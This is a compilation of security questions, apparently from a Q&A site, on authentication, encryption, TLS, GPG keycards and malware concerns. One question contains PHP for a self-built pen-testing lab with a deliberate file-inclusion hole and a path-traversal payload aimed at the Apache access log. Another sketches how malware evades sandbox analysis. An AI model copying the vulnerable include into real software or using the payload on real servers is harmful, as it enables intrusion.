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A new trend in account security is spreading: web services like LinkedIn reset passwords automatically when detect attempts of getting access with wrong password or from new locations. Thus, a user has to restore password every time when not using 2-Factor Authentication. The problem is that most support services ignore the rationale below. However, the LinkedIn support, to their credit, escalated the feature request for a setting "don't reset password on failed or suspicious login attempts" to their developing team.
The root reason of password resetting is that web services like Google and LinkedIn began using contacts (mobile phone numbers and emails) as logins. By this way, these services shared logins to everyone and thus made possible brute-force attacks on passwords for many accounts simultaneously. In other words, these company canceled the first secure factor of authentication.
Previously, the user created a login, which is unknown to all by default. This login was the first secure factor for authentication. And this way was secure enough when protected with a strong password. That is why the common way of getting access by an attacker was to find out the email to restore password and hacking an email box. These services must return secure logins to user accounts to stop brute forcing attacks on passwords.
Then, to plug this self-made security hole, these services reinvented 2-Factor Authentication by introducing secure temporary codes sent by another channel to the user. However, the use of mobile phone as a central secure device makes possible to get or lose access to all accounts at once. An attacker can easily steal a mobile device or SIM card. Another case is the impossibility to read a secure temporary code sent by a web service. There are too many reasons for that, beginning from broken display and unavailable mobile service. That is why 2-Factor Authentication has increased the risk of losing access to all accounts at once.
To avoid this risk, many users disabled 2-Factor Authentication, especially after losing access to their accounts because of broken display. Then, web services have invented a new way of irritating users and wasting their time: they began to reset passwords for accounts automatically on failed attempts of logging into or on other unexplained reasons. And now, users have to restore passwords every time because attackers reset passwords by brute-forcing them continuously. Another trivial case is the user's device with old password and the mobile app using it for getting regular updates.
Thus, these services manipulate users to force them using 2-Factor Authentication: to restore password the secure temporary code is sent. But an attacker does not have a chance to brute force strong passwords, which these services require from users. Otherwise such passwords are not considered strong, by definition. And the user location of login into does not matter in such case also.
In short, here's two questions: how to get such services to stop resetting passwords of accounts without user's permission and prompt? How to end this terrible trend of total neglect of user's choice in balance between risks, usability and reliability? It is especially important for IT professionals themselves because they should be able to take care on that.
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I have heard about this, but not sure how it would work.
I would imagine that when you register the device, the public RSA key burnt into the chip would be shared.
That way, if the application sends a challenge, the TPM uses the private key to decrypt a message and send the correct response??
I'm just guessing so any clarity would be most appreciated.
I also wonder if this authentication form of authentication could be made to support mutual attestation?
I managed to find this in 4edition CCSP 'Official Student Guide' p 261
Cloud-based software applications can use a Trusted Platform Module
(TPM) to authenticate hardware devices. Since each TPM chip has a
unique and secret RSA key burned in as it is produced, it is capable
of performing platform (computer system, phone, tablet)
authentication. A TPM is a chip placed on the main board of the
device such as a laptop. It may also be used to create and store keys
as well as perform tasks as a cryptoprocessor
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The problem with static software whitelisting is that in the real world, employees with versatile jobs need to run unexpected programs. Company sets up a whitelist to limit what programs can run - cool, security! But next thing you know someone needs to run something to do some time-sensitive task, they can't, deliverables are late, company loses money, etc, etc, whitelist is dead.
I'm thinking of a more dynamic mitigation strategy:
A scenario where we can verify all programs that run on monitored hosts in our network on a wide scale. Let's say it's fine for unverified files to be downloaded by some hosts on our network, but if we detect that same file on perhaps 20% of the hosts on our network, we block it unless:
we can call out to it's origin through some protocol
that origin be a publisher we trust (whitelisted)
the protocol allows us to verify the authenticity of the hash we
scanned against the one they published
all done in a cryptographically secure way, i.e. HTTPS
So now a few machines could be easily hit by a Zero Day, but we're just trying to mitigate saturation of our whole network by this potential threat.
You could say files already downloaded via HTTPS, such as JavaScript, might be verified against MITM alteration through the security provided via HTTPS, but what if:
The attacker compromises the trusted publisher, falsifies the file they're publishing, and victims around the world trust the file explicitly due to HTTPS delivery from a trusted source
Or (in the case described above where a hash-validation API is used) the attacker compromises the trusted publisher, falsifies the hash and file they're publishing so victims reach out to verify the hash, get a good match, and trust this malicious file.
So I'm imagining another requirement:
Let's imagine we trust a publisher, but want to prepare for the eventuality that they're breached.
The protocol involves a global publisher blockchain where many trusted publishers maintain a blockchain verifying file hashes.
Now even if an attacker breaches the trusted publisher, as long as they're careful to verify the integrity of the hash they submit to the blockchain, the attacker won't be able to modify served files with malicious code.
Is there anything wrong with this scheme? Some vulnerability or logistical issue I'm missing?
In case I wasn't clear, an example:
A nation-state actor hacks Google
Google, following a standard API, sends an HTTPS POST to trustedpublishers.org containing the hash of their file they're about to publish, with a mandatory human personnel validation step to sign off that the file is untainted and secure.
trustedpublishers.org forwards this new transaction to Google and every other trusted publisher with a membership to their trust org, who each do the work, similar to the "mining" done with crypto-currencies to propagate the change into the blockchain.
Google pushes an update to the JavaScript running on Google.com
For the 1st time, one employee of Company C opens Google Chrome, a malicious version of this new JavaScript file is downloaded and Company C's Anti-Virus does some investigation.
The user's host executes the JS, no latency is experienced, nor the execution of the script halted.
Company C's AV reaches out via HTTPS GET to the API at trustedpublishers.org and also checks with a few endpoints mirrored by members of trustedpublishers.org to make sure everyone agrees with the hash presented.
The hash can't be validated:
Depending on the network admin's config choice:
The network admin is alerted and the file is immediately blocked from running
or, imagining this wasn't a trusted publisher and there's no validation that can be done:
Time passes, 20% of the hosts on Company C's network have now executed this file
Further executions of the file are blocked and the network admin is alerted to investigate and either whitelist the hash or not.
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An Overview of XMPP
Luke Smith recommends XMPP
As Luke Smith said in his video, XMPP has been designed as an open communication protocol, which is similar to the email at an extent, I am wondering why people consider it as a safe communication method. So far as I know, the XMPP protocol itself doesn't provide any encryption to ensure the visibility of messages to only the sender and receiver. So, how does XMPP protocol protection work?
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I would like to know if macOS "Big Sur" sends unencrypted OCSP requests. I am a newbie and not aware of technical stuff, but when I came across Jeffrey Paul's article, I am a bit concerned about whether to continue using Mac.
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The W3C spec for Content-Security-Policy or Mozilla CSP docs would be the definitive source for this answer, but it does not seem covered, so I'm asking here for answers based on people's experience. If my understanding is correct, then I'll probably contact the W3C spec authors.
My understanding is that browsers have implemented their CSP engines as an extension of the page DOM; ie a CSP is associated with a page, not with a request / response.
Under my understanding, a CSP delivered in the following ways is useful:
As an HTTP response header (or <meta> tag) on top-level HTML content.
As an HTTP response header (or <meta> tag) on nested / framed content (I assume this would fall under section 3.4: Enforcing multiple policies, and would further restrict the first CSP)
As a <meta> tag in addition to an HTTP response header in either of the above (I assume this would fall under section 3.4: Enforcing multiple policies, and would further restrict the first CSP).
Under my understanding, a CSP delivered in the following ways is useless; ie completely ignored by the browser and a waste of bandwidth:
As an HTTP response header on content that is not HTML (ie on a response that is Content-Type: text/javascript, application/json, text/css, text/plain, application/gzip, image/jpeg, etc).
So I guess I have two questions here:
Does it do anything to put a CSP header responses that are not web pages (ie on REST APIs, files, javascript, etc)?
Is this mentioned anywhere in the W3C spec (and I can't read), or would it be worth asking the authors to add a section "3.x: Applicable content types") ?
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Can a “bad guy” spy on an android phone without installing spy apps (those apps that require payment)? By “spying”, I mean using key logger, screenshots, read messages and so on.
Is it possible to spy on an android without using such spy apps? Is there another way someone can spy on you?
Does “unknown sources” have to be turned on for spyware to be installed?
Can someone install some type of spying software or are spying apps the only way?
Let's say the “bad guy” has physical access to your Android device, how much time would that person need in order to install some type of spyware?
Basically, how do people install and spy on android phones?
I am worried that this might have happened to me, so if someone can explain this to me, I will be very thankful! Also, if my questions sound silly please keep in mind that I am not educated enough about this topic that’s why I am here.
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I'm not sure about my system so I want to completely wipe my HDD and reinstall Windows 10.
But I realized that an infected system can also infect a USB bootable drive.
Unfortunately, I don't have access to a trusted system to create the USB bootable drive.
I scanned my system with a couple of antivirus software (Malwarebytes, Windows Defender offline, Kaspersky, etc.) but still, I cannot be sure because of sophisticated malware, like rootkits.
Any suggestions?
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Could a video file contain code that reveals and sends your ip/mac address or give access to personal files to somebody else? Would normal video players (like VLC) be able to notice that kind of security issue and not run that specific part?
Thanks
EDIT: I'd like to be more specific. I downloaded a tutorial video from a website. The video was uploaded by another user. I noticed that I had my antivirus turned off. I was wondering if that person could have included something in the video (program/script?, I am not familiar with the terminology) that would allow him to see who downloaded and opened that video and give them access to my computer.
I probably sound paranoid lol.
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I am trying to implement RBAC to a system but I endup creating an ACL instead due to my low understanding of this archtecture.
What I already have implemented:
Created User model.
Created Groups with different permissions from User model.
Designated each user to each group based on their permissions.
For instance, there are two groups, one is the admin_group with create, delete, view and change permissions for the User model. The second one is the àpplicant_group` with only view permission, also for the User model.
My question is, if I added roles to the User model and assign each role for each group, will it be a role-based-access-control archtecture or it will still as ACL?
What are the steps I should implement to provide a simple rbac from acl or it is not possible?
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My question is essentially the same as this one:
How to force GPG to use a Keycard when it is available
which asks how to force GPG to use a keycard when one is available. That question was asked in 2018 however (3 years ago) with less details, and no answer was given. Also see Create backup Yubikey with identical PGP keys in which no solution was found (OP ends up creating separate subkeys which does not answer their own question).
The problem I have is this: I want to use a keycard (specifically two YubiKeys) as a replacement for the local GPG keychain that I've been sharing around the computers I use (office, home, laptop, etc). Despite the simple goal, GPG/OpenPGP seems to make this a unreasonably difficult task.
First, I do not want to use separate subkeys for the two YubiKeys because when I distribute the public keys, gpg will by default encrypt for the last subkey generated-- i.e. only one of the two YubiKeys. I want to be able to use any of my local keys, YubiKey #1 or YubiKey #2 in order to encrypt or authenticate with any server. It seems that the only way I can do this is by sharing Encryption [E], Authentication [A] and Signing [S] subkeys between my local machine(s) and the YubiKeys.
GPG seems to not want you to do this, as keytocard moves the key to the keycard (YubiKey) and leaves behind a stub on the local machine indicating that the key is present on a keycard. Eventually I worked around this though, and copied the same triplet of E,A,S subkeys to both my YubiKeys and to my local keyring.
Now I have an issue that gpg will only use the local keyring, even when the YubiKey is available. I want gpg to prefer a keycard when it is available. I learned from this answer that I can tell gpg-agent to refresh its knowledge on the available keys on keycards with this command: gpg-connect-agent "scd serialno" "learn --force" /bye. Now the YubiKey works, but the local keyring now lists the subkeys with ssb>, suggesting the keys are stored on an external card, and gpg-agent can no longer sign with those subkeys with the local keyring when I remove the YubiKey! The private keys may have been deleted from the local machine. (I have a backup).
It's quite a simple and obvious thing I'm trying to do: allow either the YubiKeys or the local keyring to be used for signature, authentication or signing, and prefer the YubiKeys when available. Yet I can't seem to find a way to make this work. In fact gpg it seems will stubbornly not acknowledge the existence of a private key on both a keycard and in the local keyring. I can only have one working at a given time.
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I want to create a threat model to guide a security-oriented review on a project. I found the OWASP Threat Dragon and would like to do it in that, but from the documentation and example I am unsure how to use the elements provided.
The diagrams can contain following elements:
Actors (represented with boxes)
Processes (represented with circles)
Storage (represented with over and underline)
Data flows (represented with arrows)
Trust boundaries (represented with dashed lines)
The latter three seem obvious, but there is an example model and that shows Actor “Browser” and Process “Web App”. I would expect actor to mean user, but then on the other hand what would represent the browser? Or should it be represented at all?
And each function should be a separate process, no? I suppose the component itself does not really need to be represented, though where would I then put cross-process concerns like authorization? Or should I mention them for each and every function?
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Example:
Bob uploads a file to my custom file server locked with a password, which then the file server generates a link for him to share
Bob wants to be able to share this data to anyone that has this link
Bob doesn't want anyone but the people that have the link and password to access his data, not even the server administrator
I do not want to store any private keys on my file server's filesystem, because that isn't safe in any way if the server were to be compromised.
I have Key Derivation in the works, but when the user session is expired or the server restarts, they would have to re-enter the password for the shared data.
What kind of encryption technique on the file server would I use to solve these issues?
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I'm working with Tomcat and nginx as a reverse proxy and I'm trying to have a better understanding of how the traffic flows and of what the security issues are. Picture this as what I have in mind:
Tomcat and a webapp are installed on server X, with ports 8080 (unsecure) and 8443 (secure) open.
On another server which we'll call server Y, we have a nginx host whose role is only that of a reverse proxy to Tomcat (server X).
On server Y, we have TLS enabled in nginx and all traffic going to https://domain.com is proxied to Tomcat on port 8443 on server X, which is then passed to the webapp which
With this setup, my understanding is that without any additional things set-up, traffic from the client (browser) to server Y where nginx is installed is encrypted via TLS. However, Tomcat wasn't "secured" in the sense that we didn't set up a trust store on it with a keypair. This is where my understanding stops and I'm just really confused about what this implies.
Here's the traffic flow that I have in mind:
Client (browser) -> https://domain.com (server X)
https://domain.com (server Y) -> tomcat (server X, port 8443)
tomcat -> webapp
webapp -> tomcat
tomcat -> https://domain.com (server Y)
https://domain.com -> client (browser)
Is this high level flow even valid or am I misunderstanding something crucial? If it's not valid, could you please explain where it's wrong?
Also, is there any reason one would set up a trust store on Tomcat in such a setup? From what I understand, setting up a trust store on Tomcat here could only help to prevent unsecured direct access to the webapp that Tomcat "handles", but I don't see any other use than that.
Hope my scenario is clear, thanks a lot in advance!
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I recently saw this article of a version of Mirai being spread to Android based devices via ADB enabled. My question relates to how Mirai does scanning.
Lets assume I have a Android based device (like tablet or smart TV) in my home behind a router. If a Mirai bot sends a TCP SYN to some port (like 5555 for ADB) to my router's public IP, assuming there is no port forwarding already on the router for 5555 (which is possible for most people): (1) can that TCP packet even reach devices inside the house ?
(2) Does this also mean people using devices behind router don't have to worry about their devices being infected with Mirai ?
(3) Is there any way attacker can overcome this situation to reach the device behind the router ?
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I'm still not completely sure about the role of using an HSM or TPM on a device when it comes to storing private keys for security purposes.
My use case would be using TLS with an embedded device which contains a unique self-signed device certificate signed by a root CA private key. The device authenticates itself on AWS using the device certificate and uploaded root CA certificate.
The device therefore has two private keys which nobody should ever get access to.
Does an HSM or TPM completely decrypt these keys and store them? However, what happens when the software needs these keys for the authentication process? If it obtains the TPM or HSM for the keys, surely they will be decrypted and a hacker could then access them if they got into the system? Thanks in advance.
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A piece of malware detects signatures of the sandbox an AV solution tries to use to fingerprint malicious behavior and pretends to be innocent. Once in the real OS environment, it then downloads executable data encoded as image data and decodes the executable bytes from the image, storing them in memory out of order, preventing any attempt at scanning the memory range for malicious code. The program then executes those instructions in the correct order, without the AV ever being able to scan them (even statically).
This scenario seems to me, with my limited experience in the field, to pose a problem for malware defense solutions.
I'd like to ask what methods are used to defeat this kind of attack, and also pose my own idea:
The kernel / os / processor (not sure which would be capable) imposes a restriction: A program must present its executable data which will become an immutable memory range that the instruction pointer cannot leave. Why is this not a good solution?
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All users in my google domain use 2fa on google accounts.
We have on-premise software (gitlab for example) that allows us use google accounts to login.
Also, gitlab has a feature of 2fa.
Should we use it? Does it add something to security or not?
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A few hours ago, I spotted my unattended mouse moving and seeming to click on tabs. I promptly rebooted my system and removed Teamviewer (it's the only remote connection app that I have installed), Remmina, expressvpn, and a whole bunch of other apps that I no longer use.
Is there anywhere or a way that I can check for intrusions, remote logons to my laptop (Ubuntu 18.04.5 LTS)?
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So i clicked on a link to play a game with someone but it turns out the link was an ip grabber i think. The hacker now knows what country i live in and the password to the game account. I don't know what else he knows. I have already tried unplugging my router because I was told that my IP address would change. can someone help me out. it would be greatly appreciated as i don't know much about IP stuff.
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I have a few terminals that I currently use a static IP to authenticate. The problem is in my country the internet is not stable, so often I have to switch to mobile data, then the terminals can't authenticate because their IP addresses changes.
The solution I have thought of is using the MAC address of a terminal as a Username, and then for the password I would generate it as follows:
When the terminal goes to the log in page, a token is provided by the server. The javascript uses this token and passes it into an application (web service) running locally. This local webservice returns then reads MAC address of the terminal, and uses the MAC address and the token from the server to seed algorithm CustomFooAlgorithm to generate an OTP. Then the webservice replies to the javascript request with the username and password, which the terminal then attempts to log into the server with.
My concern is CustomFooAlgorithm is basically a shared secret across all terminals. Also I am not sure how to create such an algoirthm that would not be easy to figure out. Could this work? I like that their is no customisation per a terminal.
A more complicated way
I am guesing I would have to create an additional secret token for each terminal, and also store the secret token on the server. Then the webservice could seed some common hashing algorithm with the server token, and the secret token, to generate an OTP.
I thought one could generate the secret key from the mac address, but that is indirectly the same as doing CustomFooAlgorithm , just splitting it into 2 steps. The advantage of two steps is then a generic algorithm can be used for step 2.
Don't Reinvent the wheel
Should I just use TOTP instead of the above? Its about the closest "off the shelve solution" I can find to solving my problem.
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Is there any major flaw in using TOTP in a way where the server sends its time to the client when the client requests to log in? The advantage of this is the client's time does not have to be set correctly, as it uses the time provided by the server. The disadvantage is the client must be online to generate the password, but in this case, since it's logging into a webservice, it has to be online anyway so this is not a disadvantage for me.
To elaborate my proposal:
HTTPS JS fetch
Server <-------> Client (browser) <----------> local python webservice
Dealing with a client logging into a webservice, via HTTPS. The client (browser) navigates to the login webpage. The server time is embedded in a JavaScript variable of the webpage. The client JS then calls a locally running python app that is a webservice, and passes it the server time. The locally running app has access to the secret key, and it uses its secret key along with the server time to generate the password, which it returns to the client browser, the client then posts the login credentials to the server.
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I know that ESNI and certificate encrytion in Server Hello are aimed at preventing eavesdropping from the hostname and ESNI hasn't been taken into practice for common web servers yet.
Even though, I am still curious about:
How does tls 1.3 encrypt certificate in Server Hello to prevent eavesdropping? And how does the client decrypt it and get the certificate?
I found a good post A walkthrough of a TLS 1.3 handshake but have some difficulty in reading it.
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On a website with user accounts, all HTTP requests coming from the submission of a login form kind of contain the same info, there are only a few things that are different in the HTTP requests, such as the entered username, the entered password, and a few headers, such as User-Agent. If HTTPS is used to encrypt the request and a hacker would inspect the encrypted request and know the user tries to login as Alice using Firefox, would the hacker be able to figure out the length of the password by looking at the length of the encrypted HTTP request?
I guess my question is if (or to which extent) HTTPS is leaking the length of the encrypted message.
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I have received a public key that does not appear to have the encryption capability enabled:
> gpg --list-keys
/Users/me/.gnupg/pubring.kbx
-------------------------------
pub rsa2048 2016-09-15 [SC]
C931D34D20D3D9BF0649197487CC91EBC4928E69
uid [ unknown] Application Support <application.support@company.example.com>
When I attempt to use it to encrypt a file, GnuPG returns an error:
> gpg -v -r C931D34D20D3D9BF0649197487CC91EBC4928E69 --encrypt myfile 12:43:37
gpg: Note: RFC4880bis features are enabled.
gpg: C931D34D20D3D9BF0649197487CC91EBC4928E69: skipped: Unusable public key
gpg: myfile: encryption failed: Unusable public key
There are no encryption subkeys available on this public key I have. And yet the person that holds the private key is able to receive encrypted files from other parties and decrypt them (using the matched private key).
What could explain this? Is it possible to force GnuPG (or an equivalent) to encrypt using the public key, even when the usage flag is not set to do so?
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If a website emails a password in cleartext when you use the "forgot password" function, is there any possibility that the password is hashed? It does generate a different password if you reset it again, but it always gets emailed in cleartext.
Is it possible to reset a user's password, proceed to email it in cleartext and then hash it?
If yes, is this considered to be within good security practice?
The website does NOT require you to set a new password after you login with the newly created password.
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On a few rare instances, I've received an email from a website notifying me that my email and password were found in batch of harvested logins, and they then force me to change my password.
This has only happened on a few very old unused accounts that date back to when I was foolish enough to use the same password on multiple websites. Even though the password was strong, that doesn't stop a poorly designed site from storing it in plain-text and then having a server exploit that lets a hacker copy it. The website notifying me didn't have the breach, but they were still effected since I had re-used the login there.
However, I now manage a few websites of my own. I already know not to store passwords in plaintext and enforce strong password requirements, but I'd like to do the same type of proactive monitoring for my users in case one of them re-uses their login elsewhere that does get breached. How do these sites currently detect when their users may be using a breached login? Where are they finding these hacked logins? Are they using a professional service to notify them?
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Background:
We got a few new model SIP phones. Each phone has built-in unique certificate issued by the manufacturer.
Previous models had certs issued by a different CA and that CA cert was published, so I could verify the phone's identity as it gets provisioned starting from the factory default state.
Manufacturer's support refused to publish new CA cert but after some questions and days later provided it as an attachment my support ticket. This took days. No NDAs were requested. If I was in charge of my company security I would be concerned if my colleague gives me CA certificates and says they obtained it directly from the phones' manufacturer and asks me to install the CA cert as trusted on the provisioning server. I would have liked to see this CA cert published on the manufacturer's web site in resources/downloads for the model. I explained exactly that to the manufacturer's support but they refused, citing security concerns. Some back and forth, latest ones are:
Some customers told us there is a security issue if CA files show on
support website.
There is a rule internally, if customer wants new CA files, we need
to apply with our PM one by one.
I've looked at the data in the certificates; there is very little there, generic email address support@domainname... that gets auto-replied with "nobody here", company domain name, name of city and province in China, nothing else that I would find interesting, but I am not an expert in this field. Even if there was anything potentially dangerous, they give out these to anybody patient enough to ask, it is no longer a secret.
It is my understanding that it is in the manufacturer's interests to publish these certificates to allow their customers to obtain the correct certificate easily, and not be tempted to find one somebody claims to have obtained earlier and helpfully re-distributes.
So my questions are these:
What are the risks to the manufacturer that would justify complicating release of these CA certificates to their users.
Is there a risk to the user e.g. the user happens to do a web search and comes across a malicious cert someone claims to have obtained from the manufacturer and tricks the user to install and trust. Such fake cert will not verify the device, but maybe the angle there the user might forget to clean up? I suspect it would be very hard for the malicious actor to find who trusts their fake cert in order to be able to exploit it.
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I have a database-backed web application, with authentication via
organizational single sign-on, modeling a library lending system for
digital books. I'd like to allow users to check out books and see what
they've checked out, without allowing myself or other
administrators to keep track of who's checked out what. I also have a
requirement to keep stats on the number of unique users.
Ideas I've considered so far:
put the SSO user ID in the loan record, but clear it on return/expiry
pros:
user can get to their checkouts, even from a different device
cons:
we do have the data in the database, even if it's only while the
book is checked out
unclear how to count unique users
instead of storing the UID, generate a random token and set it in a cookie
pros:
loans are never connected to UIDs in the database
can sort of count unique users, or at least browsers
cons:
users can't clear cookies or switch browsers
not quite counting unique users
hash the UID instead of using the real ID, and store the hash in the loan record
pros:
user can get to their checkouts, even from a different device
actual UIDs aren't connected to loans
can count unique users
cons:
trivial to re-hash a given UID and from that, connect users back to loans
make users create a password/passphrase, hash that along with the UID, and use
that hash instead of the UID
pros:
as (3) above, plus
having the UID isn't enough to connect you to the loan
cons:
users won't see the value in having to do this, and will be annoyed
unclear how to track unique users
generate a one-time token, and give/email the user a URL that includes
the token, which they have to use if they want to get back to the
checkout. Hash that token with the UID, and use that hash as the user
identifier in the database.
pros:
as (4) above
doesn’t require users to do anything
cons:
still a little rickety, possible for users to lose the URL
unclear how to track unique users
Is there anything better than #5? I feel like this must be a solved
security/crypto problem, but I'm blanking on the solution.
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I want to implement Chip Authentication for ePassport documents, and wish to validate my understanding of it.
I've managed to get it up and running by using the JMRTD library, specifically the function doEACCA(). When inspecting the code of this and associated functions, I observed that it doesn't actually verify the outcome of the protocol. It runs the CA protocol according to the standard, and this leads to a new Secure Messaging key, then switches the internal wrapper to use that protocol going forward. But it seems there's no actual validation done after this and no actual communication after this. So if one stopped here, it would actually lead to a false impression of success on the inspection system, since it doesn't know it derived a different shared key than the chip. In fact it seems somewhat of a misnomer to call the protocol Chip Authentication. It would be more correct to call it a key exchange. Since all the shared key is used for is to setup a new SM tunnel, I suppose (and this is what I want to verify by this question) that the actual validation happens first when issuing some other command. This command must involve SM - critically, the response from chip must have a payload that includes a MAC. It is validation of this MAC, by the inspection system, that actually completes the Chip Authentication.
It seems the choice of command (apart from the stated aspects above) is not important? If true, can you suggest a command to run? Due to other aspects of the setup in which my solution operates, it would be preferable with a simple, "one-shot" command where both command and response can fit in a single APDU etc. This will complete my communication with the chip.
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In the past few days, I have created my own webserver to serve as my sandbox for learning pen-testing. I saw this blog (https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1) and wanted to attempt something similar and build it on my webserver.
This is what I have done so far:
My index.php page here submits the input and parses the values to my action page: verify_email.php.
echo "
<span class='psw'><a href='#' onclick=\"document.getElementById('id04').style.display='block'\">Subscribe To Our Newsletter?</a></span>
<div id='id04' class='fpass-modal'>
<span onclick=\"document.getElementById('id04').style.display='none';\"
class='close-fpass' title='Close Modal'>×</span>
<!-- Modal Content -->
<form class='fpass-modal-content' action='php/verify_email.php' method='post'>
<div class='container4'>
<h1>Subscribe To Our Newsletter</h1>
<br>
<p>Join our subscribers list to get the latest news, updates, and special offers delivered directly in your inbox</p>
<input type='text' placeholder='Name' name='name' id='name' onfocus=\"this.value = ''\"
required>
<input type='text' placeholder='Email' name='email' id='email' onfocus=\"this.value = ''\"
required>
<!-- Select language box -->
<div class='custom-select' style='padding: 8px;'>
<select id='language' name='language'>
<option value='0'>Select language:</option>
<option value='english.php'>English</option>
<option value='german.php'>German</option>
</select>
</div>
<a href='#' onclick=\"document.getElementById('id04').style.display='none';\" class='backtologin'>No, thank you</a>
<div class='clearfix'>
<button type='submit' class='fpassbtn'>Subscribe</button>
</div>
</div>
</form>
</div>";
The action page then uses SendGrip to automatically send an email to the submitted email for the user to verify his/her email using the included link. (something like this:)
if ($language == "english.php") {
$output='<p>Dear '.$name.',</p>';
$output.='<p>Please click on the following link to verify your email.</p>';
$output.='<p>-------------------------------------------------------------</p>';
$output.='<p><a href="http://10.0.0.69/php/verified.php?key='.$verify_code.'&email='.$email.'&language='.$language.'&action=verify" target="_blank">
http://10.0.0.69/php/verified.php?key='.$verify_code.'&email='.$email.'&language='.$language.'&action=verify</a></p>';
$output.='<p>-------------------------------------------------------------</p>';
$output.='<p>Please be sure to copy the entire link into your browser.
The link will expire after 1 day for security reason.</p>';
$output.='<p>If you did not request this newsletter subscription, no action
is needed, your account will not be subscribed to our newsletter.</p>';
$output.='<p>For further enquiries, please reply to example@gmail.com</p>';
$output.='<p>Thanks,</p>';
$output.='<p>Example Team</p>';
$body = $output;
$subject = "Email Verification";
}
if ($language == "german.php") {
$output='<p>Lieber '.$name.',</p>';
$output.='<p>Bitte klicken Sie auf den folgenden Link, um Ihre E-Mail zu bestätigen.</p>';
$output.='<p>-------------------------------------------------------------</p>';
$output.='<p><a href="http://10.0.0.69/php/verified.php?key='.$verify_code.'&email='.$email.'&language='.$language.'&action=verify" target="_blank">
http://10.0.0.69/php/verified.php?key='.$verify_code.'&email='.$email.'&language='.$language.'&action=verify</a></p>';
.
.
.
(sorry, I cannot expose the full codes for this part)
Based on this link, I included the language field which can be either english.php or german.php depending on what the user selected in the form previously. Based on this field, the browser will display a page of that language to the user.
<?php
include 'connect.php';
include 'validation.php';
session_start();
echo $_GET["key"];
echo $_GET["email"];
echo $_GET["language"];
echo $_GET["action"];
$error="";
$language = $_GET["language"];
include '/var/www/webdav/php/' . $language;
?>
My english.php page:
<?php
if (isset($_GET["key"]) && isset($_GET["email"]) && isset($_GET["language"]) && isset($_GET["action"])
&& ($_GET["action"]=="verify")){
$key = $_GET["key"];
$email = $_GET["email"];
$curDate = date("Y-m-d H:i:s");
$query = $pdo->prepare("SELECT * FROM `subscribers` WHERE `verify_code`=:key and `email`=:email;");
$query->bindParam(":key",$key);
$query->bindParam(":email",$email);
$query->execute();
$row =$query->rowCount();
if ($row=="") {
$error .= '<h2>Invalid Link</h2>
<p>The link is invalid/expired. Either you did not copy the correct link
from the email, or you have already used the key in which case it is
deactivated.</p>
<p><a href="http://10.0.0.69/">
Click here</a> to reset password.</p>';
}
else{
$reset = $query->fetch(PDO::FETCH_ASSOC);
$expDate = $reset['expDate'];
echo "expDate is ".$expDate;
if ($expDate >= $curDate){
$error="";
$curDate = date("Y-m-d H:i:s");
if($error!=""){
echo "<div class='error'>".$error."</div><br />";
}
else{
$query = $pdo->prepare("UPDATE `subscribers` SET `is_verified`=1, `modified`=:modified WHERE `verify_code`=:verify_code;");
$query->bindParam(":modified",$curDate);
$query->bindParam(":verify_code",$_GET["key"]);
$result=$query->execute();
if ($result) {
echo "UPDATE OK<br>";
}
else{
echo ("UPDATE Failed<br>");
exit();
}
echo '<div class="error"><p>Thank you for subscribing to our newsletter!</p>
<p><a href="http://localhost/cbch/mp/index.php">
Click here</a> to Login.</p></div><br />';
}
}
else{
$error .= "<h2>Link Expired</h2>
<p>The link is expired. You are trying to use the expired link which
as valid only 24 hours (1 days after request).<br /><br /></p>";
}
}
if($error!=""){
echo "<div class='error'>".$error."</div><br />";
}
} // isset email key validate end
?>
Based on this, I tried doing something like http://10.0.0.69/php/verified.php?language=../../../../var/log/apache2/access.log which should theoretically display the access.log page. However, I seem to be getting a blank page instead.
Any help would be appreciated! (PS. Sorry for making you read through this ton of codes)
|
If a string has a length of 16 characters, but it is also known that the first 2 characters are fixed, and that the rest of the string has random letters but letters only, no digits nor special chars, would it still take years to crack a sha256 on these conditions or is it unsafe?
|
I've found this PHP library for detecting/guessing the language of a given string: https://github.com/patrickschur/language-detection
I would have massive use of this. I would really like to use it.
But I cannot.
All I can think is this:
What if, tomorrow, that developer is either compromised or goes rogue and updates his code with Bitcoin-stealing malware? What if that code is already in the library, waiting for the right moment? Since not even the most used FOSS projects in the world seem to get audited at all by anyone, what are the odds that this super small and obscure one will be safe? Very slim.
I know nothing about the author. I cannot possibly, even if I really tried, assess their competence and reliability. Hell, I don't even really trust Github itself, especially not after it was sold out to Microsoft.
This is handicapping. The only way I could "trust" it would be to ignore all concepts of security and "just believe". I cannot look through all that code, even though it's a very small library. There's tons of files and they can change at any moment. Composer will fetch the new version some day and I won't be sitting there checking all the changes. I know I won't. I even set up and streamlined such a system in the past and I quickly stopped checking the updates. Even with just a few changes, it was just exhausting. I couldn't keep it up.
Is this ever going to get some sort of sensible solution? Some sort of built-in sandbox so that each library runs in its own little vacuum and is only able to send out the "answer" back to the main script or something? I don't understand how others are able to trust all these random strangers in a world absolutely full of scams and evil people lurking behind every corner.
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Imagine your iPhone gets stolen or seized. Inside this iPhone is your SIM-Card. That SIM-Card is your only SIM-Card and it is enlisted as "trusted phone number" in your Apple Account. The iPhone is the only Apple product you own.
(Note: I believe this setup is not "special" at all, but rather common.)
The attacker now takes out the SIM and puts it in another phone where the PIN/PUK is easily cracked within less than 24h. Enabling the attacker to receive recovery messages/calls.
Apple now provides account recovery based on your enlisted "trusted phone number".
I understand that the phone itself remains safe since it has its own secure password. But the Apple ID with iCloud is at risk.
What can you do to protect yourself against this scenario?
Since it was the only Apple product and SIM you had, is it going to be hard to secure your Apple ID with email and password when your iPhone and SIM goes missing?
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I am trying to determine best practices for implementing a webapp running in an extremely tight PKI environment. Assume:
Yubikey like devices that have Certs with reasonable expiration dates
The organization has proper certificate revocation mechanisms
Certs provide username and access-role information
Browsers implement mTLS and pass the correct cert
My question is, should I just trust the certificate being passed by the browser and skip typical 'Login' prompts?
I understand a TOTP prompt could enhance this, but would trusting the certificate be a good enough baseline?
Any reference to back up your answers would be appreciated.
|
I'm trying to understand what is good/bad about hashing a password on a database (like postgres) as opposed to hashing it on an api server and then sending it hashed to the db. Can anyone speak on this and the pros and cons of the security risk(s) of either implementation?
|
Secenario
Consider the case of a MacBook Pro with FileVault active. The computer is on and I'm properly logged on.
I frequently need to access sensitive data located in text files on an encrypted volume. The encrypted volume is created when I mount a particular file that lives on the main hard disk. The encryption program that mounts the file and makes the data available as a volume is called VeraCrypt.
When I leave my computer for brief periods, I lock my screen (Ctrl-Cmd-Q) but the computer is still on.
Question
If someone were to break in and steal my computer and run off with it while it were in that state, would he be able to read the contents of my VeraCrypt volume?
